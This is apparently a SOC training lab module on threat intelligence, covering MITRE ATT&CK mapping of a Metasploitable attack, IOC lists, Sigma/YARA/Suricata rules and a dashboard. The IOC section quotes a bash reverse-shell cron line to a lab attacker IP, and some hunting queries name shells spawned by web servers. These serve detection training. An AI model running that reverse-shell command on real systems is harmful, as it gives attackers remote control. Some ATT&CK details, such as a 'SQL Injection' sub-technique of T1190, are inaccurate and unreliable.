# FILE: MOD8_Threat_Intelligence.md
# MODULE 8: THREAT INTELLIGENCE & HUNTING

## Learning Objectives
- Map observed attacks to MITRE ATT&CK framework
- Create and use Indicators of Compromise (IOCs)
- Perform hypothesis-driven threat hunting
- Build threat intelligence feeds
- Update SOC dashboard with coverage metrics

---

## MITRE ATT&CK FRAMEWORK

### Understanding the Matrix

**Tactics** (Why): Attacker's objectives
- Initial Access, Execution, Persistence, Privilege Escalation, Defense Evasion, Credential Access, Discovery, Lateral Movement, Collection, Exfiltration, Command & Control, Impact

**Techniques** (How): Methods to achieve tactics
- Example: T1190 (Exploit Public-Facing Application)

**Sub-Techniques**: Specific variations
- Example: T1190.001 (SQL Injection)

---

## LAB 8.1: MAP MOD3 ATTACKS TO MITRE ATT&CK

### Metasploitable Exploitation Chain Mapping

```
ATTACK STEP 1: Port Scanning (MOD2)
MITRE Tactic: Reconnaissance (TA0043)
MITRE Technique: T1046 - Network Service Scanning
Detection: Suricata rule "GPL SCAN nmap"

ATTACK STEP 2: vsftpd Backdoor Exploitation (MOD3)
MITRE Tactic: Initial Access (TA0001)
MITRE Technique: T1190 - Exploit Public-Facing Application
Sub-Technique: FTP Service Exploitation
Detection: Connection to port 6200

ATTACK STEP 3: Command Execution
MITRE Tactic: Execution (TA0002)
MITRE Technique: T1059.004 - Unix Shell
Detection: Process creation logs, bash spawned by vsftpd

ATTACK STEP 4: Credential Dumping (hashdump)
MITRE Tactic: Credential Access (TA0006)
MITRE Technique: T1003.008 - /etc/passwd and /etc/shadow
Detection: File access logs on /etc/shadow

ATTACK STEP 5: SSH Key Persistence
MITRE Tactic: Persistence (TA0003)
MITRE Technique: T1098.004 - SSH Authorized Keys
Detection: File modification on /root/.ssh/authorized_keys

ATTACK STEP 6: Network Connection (Reverse Shell)
MITRE Tactic: Command and Control (TA0011)
MITRE Technique: T1071.001 - Application Layer Protocol (HTTP/TCP)
Detection: Outbound connection to 10.10.2.50:4444
```

### Create MITRE Coverage Heatmap

```javascript
// For React dashboard: dashboard/src/data/mitreAttackCoverage.js

export const mitreCoverage = {
  tactics: [
    {
      name: "Initial Access",
      id: "TA0001",
      techniques: [
        { id: "T1190", name: "Exploit Public-Facing Application", detected: true, ruleId: "SID:1000050" },
        { id: "T1133", name: "External Remote Services", detected: false },
      ]
    },
    {
      name: "Execution",
      id: "TA0002",
      techniques: [
        { id: "T1059.004", name: "Unix Shell", detected: true, ruleId: "SID:1000051" }
      ]
    },
    {
      name: "Persistence",
      id: "TA0003",
      techniques: [
        { id: "T1098.004", name: "SSH Authorized Keys", detected: true, ruleId: "SID:1000052" }
      ]
    },
    // ... continue for all tactics
  ]
};

// Calculate coverage percentage
const totalTechniques = 200; // Approximate MITRE techniques
const coveredTechniques = mitreCoverage.tactics.reduce((sum, tactic) =>
  sum + tactic.techniques.filter(t => t.detected).length, 0
);
const coveragePercent = (coveredTechniques / totalTechniques * 100).toFixed(1);
```

---

## LAB 8.2: INDICATORS OF COMPROMISE (IOCs)

### Create IOC Database

```bash
# Structure IOCs from MOD3 exploitation

cat > /home/analyst/iocs_metasploitable_breach.txt << 'EOF'
# Metasploitable Compromise - Feb 11, 2026

[NETWORK INDICATORS]
Attacker_IP: 10.10.2.50
C2_Port: 6200 (vsftpd backdoor)
C2_Port: 4444 (reverse shell listener)
Protocol: TCP

[FILE INDICATORS]
/tmp/.hidden_shell.sh  MD5:a3f5b8c9e2d1f4a6b7c8d9e0f1a2b3c4
/root/.ssh/authorized_keys  Modified:2026-02-11T14:20:45Z
/var/www/html/shell.php  MD5:b4c6d8e0f2a4b6c8d0e2f4a6b8c0d2e4

[REGISTRY/PERSISTENCE]
Cron job: * * * * * /bin/bash -i >& /dev/tcp/10.10.2.50/4444 0>&1

[YARA RULE - Detect Meterpreter]
rule Metasploit_Meterpreter
{
    meta:
        description = "Detects Meterpreter payload signatures"
        author = "Apophis SOC"
        date = "2026-02-11"
    strings:
        $s1 = "meterpreter" nocase
        $s2 = "stdapi_" nocase
        $s3 = { 4D 65 74 65 72 70 72 65 74 65 72 } // "Meterpreter" hex
    condition:
        any of them
}
EOF
```

### Threat Intel Platform Integration

```bash
# Use MISP (Malware Information Sharing Platform)
# Or OpenCTI (Open Cyber Threat Intelligence)

# For this lab, create simple CSV for IOC tracking:

cat > ioc_feed.csv << 'EOF'
Type,Value,Severity,First_Seen,Last_Seen,Description
IP,10.10.2.50,High,2026-02-11T14:00:00,2026-02-11T15:30:00,Kali attacker source
Port,6200,High,2026-02-11T14:15:00,2026-02-11T14:16:00,vsftpd backdoor port
Hash,a3f5b8c9e2d1f4a6b7c8d9e0f1a2b3c4,Critical,2026-02-11T14:17:00,2026-02-11T14:17:00,Backdoor shell script
Filename,shell.php,High,2026-02-11T14:22:00,2026-02-11T14:22:00,Web shell
EOF

# Import to Security Onion for enrichment
# Alerts matching these IOCs auto-escalate to Critical
```

---

## LAB 8.3: THREAT HUNTING

### Hypothesis-Driven Hunting

**Hypothesis 1:** "Are there unauthorized SSH keys on critical servers?"

```bash
# Hunt across all Linux systems

# Search file modifications
find / -name authorized_keys -type f -mtime -7 -ls 2>/dev/null
# Shows authorized_keys modified in last 7 days

# Compare against baseline
# Golden image: Known-good authorized_keys hash
md5sum /root/.ssh/authorized_keys
# If hash differs → Investigate

# Query Security Onion
event.dataset: "system.auth" AND file.path: "*authorized_keys*"
```

**Hypothesis 2:** "Are there processes with suspicious parent relationships?"

```bash
# Hunt for shells spawned by web servers

ps aux | grep -E "apache|nginx|httpd" | awk '{print $2}' | xargs -I {} pstree -p {}
# Look for: apache --> bash --> netcat (BAD!)

# In Security Onion (Sysmon-like logging):
process.parent.name: "apache2" AND process.name: ("bash" OR "sh" OR "nc")
```

**Hypothesis 3:** "Are there large outbound data transfers (exfiltration)?"

```bash
# Query Zeek connection logs
event.dataset: "zeek.conn" AND network.bytes > 10000000 AND destination.ip: NOT 10.10.0.0/16
# Find connections >10MB to external IPs

# In Kibana visualization:
# X-axis: destination.ip
# Y-axis: sum(network.bytes)
# Shows top data transfer destinations
```

---

## LAB 8.4: AUTOMATED THREAT HUNTING WITH SIGMA RULES

### Sigma Rule Format

```yaml
# Sigma rule: Detects SSH authorized_keys modification

title: SSH Authorized Keys Modification
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects modifications to SSH authorized_keys files (persistence)
author: Apophis SOC
date: 2026/02/11
tags:
  - attack.persistence
  - attack.t1098.004
logsource:
  product: linux
  service: auditd
detection:
  selection:
    type: 'PATH'
    name|endswith: '/authorized_keys'
  condition: selection
falsepositives:
  - Legitimate administrator adding keys
level: medium
```

### Convert Sigma to Security Onion Query

```bash
# Install sigmac (Sigma converter)
pip3 install sigmatools

# Convert to Elasticsearch query
sigmac -t es-qs -c /etc/sigma/config.yml ssh_authorized_keys.yml

# Output KQL:
file.path: *authorized_keys AND event.action: modify
```

---

## LAB 8.5: THREAT INTELLIGENCE FEEDS

### Consume External Threat Intel

```bash
# Subscribe to abuse.ch feeds
wget https://sslbl.abuse.ch/blacklist/sslipblacklist.csv -O /tmp/malicious_ips.csv

# Parse and import to Security Onion
cat /tmp/malicious_ips.csv | grep -v "^#" | awk -F',' '{print $2}' > /tmp/ioc_ips.txt

# Create Suricata rule to alert on connections to these IPs
while read ip; do
  echo "alert ip any any -> $ip any (msg:\"Connection to Known Malicious IP\"; sid:2000000; rev:1;)" >> /etc/suricata/rules/local.rules
done < /tmp/ioc_ips.txt

# Restart Suricata
sudo so-suricata-restart
```

### Create Custom Threat Feed

```python
# Python script: generate_threat_feed.py

import json
from datetime import datetime

threat_feed = {
    "feed_name": "Apophis Lab Threat Intel",
    "version": "1.0",
    "generated": datetime.now().isoformat(),
    "indicators": [
        {
            "type": "ipv4-addr",
            "value": "10.10.2.50",
            "severity": "high",
            "labels": ["red-team", "internal-threat"],
            "first_seen": "2026-02-11T14:00:00Z",
            "tactics": ["TA0001", "TA0002", "TA0003"]
        },
        {
            "type": "md5",
            "value": "a3f5b8c9e2d1f4a6b7c8d9e0f1a2b3c4",
            "severity": "critical",
            "labels": ["backdoor", "shell"],
            "techniques": ["T1059.004"]
        }
    ]
}

with open('/var/www/html/threat_feed.json', 'w') as f:
    json.dump(threat_feed, f, indent=2)

print("Threat feed published to: http://10.10.3.50/threat_feed.json")
```

---

## LAB 8.6: UPDATE SOC DASHBOARD

### Integrate MITRE Coverage into React Dashboard

```javascript
// dashboard/src/components/MitreHeatmap.jsx

import { mitreCoverage } from '../data/mitreAttackCoverage';

export function MitreHeatmap() {
  const tactics = mitreCoverage.tactics;

  // Calculate coverage per tactic
  const tacticCoverage = tactics.map(tactic => ({
    name: tactic.name,
    total: tactic.techniques.length,
    detected: tactic.techniques.filter(t => t.detected).length,
    percentage: (tactic.techniques.filter(t => t.detected).length / tactic.techniques.length * 100).toFixed(0)
  }));

  return (
    <div className="panel">
      <h2>MITRE ATT&CK Coverage</h2>
      {tacticCoverage.map(tactic => (
        <div key={tactic.name} className="coverage-bar">
          <span>{tactic.name}</span>
          <div className="progress-bar" style={{width: `${tactic.percentage}%`}}>
            {tactic.percentage}%
          </div>
          <span>{tactic.detected}/{tactic.total}</span>
        </div>
      ))}
    </div>
  );
}
```

---

## DELIVERABLES

- [ ] MITRE ATT&CK mapping table for all MOD3 attacks
- [ ] IOC database (CSV or JSON format)
- [ ] 3 threat hunting hypotheses with query results
- [ ] Sigma rule for persistence detection
- [ ] Custom threat intelligence feed (JSON)
- [ ] Updated React dashboard with MITRE coverage heatmap

---

**END OF MODULE 8**

Proceed to **CAPSTONE: APT Simulation** to integrate all skills.
